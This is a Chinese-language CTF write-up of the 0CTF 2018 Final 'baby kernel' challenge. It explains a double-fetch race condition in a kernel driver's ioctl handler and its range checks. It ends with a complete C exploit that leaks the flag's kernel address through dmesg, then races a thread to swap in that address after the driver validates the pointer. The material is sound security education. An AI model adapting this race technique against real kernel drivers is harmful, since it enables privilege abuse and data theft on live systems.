0CTF2018 Final - baby kernel 学习记录
-
double fetch
由于内核态和用户态之间的数据访问竞争导致的条件竞争漏洞。
通常条件下,用户向内核传递数据时,内核先通过 copy_from_user 等函数向内核拷贝数据,但大量复杂数据的时候内核可能只引用其指针,而数据将暂时保存在用户空间,那么此时,这个数据就有被其它恶意线程篡改的风险,造成内核验证通过的数据和实际使用的数据不一样,pwn!!!
-
漏洞分析
如果 a2 为 0x6666 就会打印出 flag 的地址,如果 a2 为 0x1337 就会将我们传入的 flag 和真正的 flag 做比较
值得一提的是在 init 中没有将 dmseg 置 1,也就是能查看 printk 输出的内容。
这里传入的 a3 是个结构体,结构为:
struct _input { char *flag; size_t len; };
经过三层的判断,进入 __chk_range_not_ok 看一下细节:
__CFADD__ 的作用是 carry flag of addition,获得两数相加的 CF 位(进位),重点是 a3 < v4,其中 a3 是 (unsigned int)¤t_task) + 0x1358),对应结构体中的值就是:task_struct->thread->fpu->state,而 v4 是 a1 和 a2 的和,在第二个判断条件中,对应传入的 flag 的最后一个字节的地址。调试看下这个地址是什么,刚好对应用户空间栈底。
那么三条检查就分别对应:
1.输入的输入指针是否为用户态数据 2.数据指针内的 flag_str 是否指向用户态 3.数据指针内 flag_len 是否等于硬编码 flag 的长度
-
漏洞利用
有 flag 的地址,但因为在内核空间中,直接传的话不能通过验证,所以先传入一个用户空间的合法地址,然后开另一个线程不断竞争修改其为内核空间 flag 的地址。
exp:
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <pthread.h> #include <string.h> pthread_t compete_thread; void* real_addr; char buf[0x20] = "moonflower"; int competetion_times = 0x1000, status = 1; #define LEN 0x1000 struct { char* flag_addr; int flag_len; }flag = {.flag_addr = buf, .flag_len = 33}; void * competetionThread(void) { while (status) { for (int i = 0; i < competetion_times; i++) flag.flag_addr = real_addr; } } int main() { int fd, result_fd, addr_fd; char* temp, *flag_addr_addr; fd = open("/dev/baby", O_RDWR); ioctl(fd, 0x6666); system("dmesg | grep flag > addr.txt"); temp = (char*) malloc(0x1000); addr_fd = open("./addr.txt", O_RDONLY); temp[read(addr_fd, temp, 0x100)] = '\0'; flag_addr_addr = strstr(temp, "Your flag is at ") + strlen("Your flag is at "); real_addr = strtoull(flag_addr_addr, flag_addr_addr + 16, 16); pthread_create(&compete_thread, NULL, competetionThread, NULL); while (status) { for(int i = 0; i < competetion_times; i++) { flag.flag_addr = buf; ioctl(fd, 0x1337, &flag); } system("dmesg | grep flag > result.txt"); result_fd = open("./result.txt", O_RDONLY); read(result_fd, temp, 0x1000); if (strstr(temp, "flag{")) status = 0; } pthread_cancel(compete_thread); printf("[+] competetion end!"); system("dmesg | grep flag"); return 0; }
-
参考文献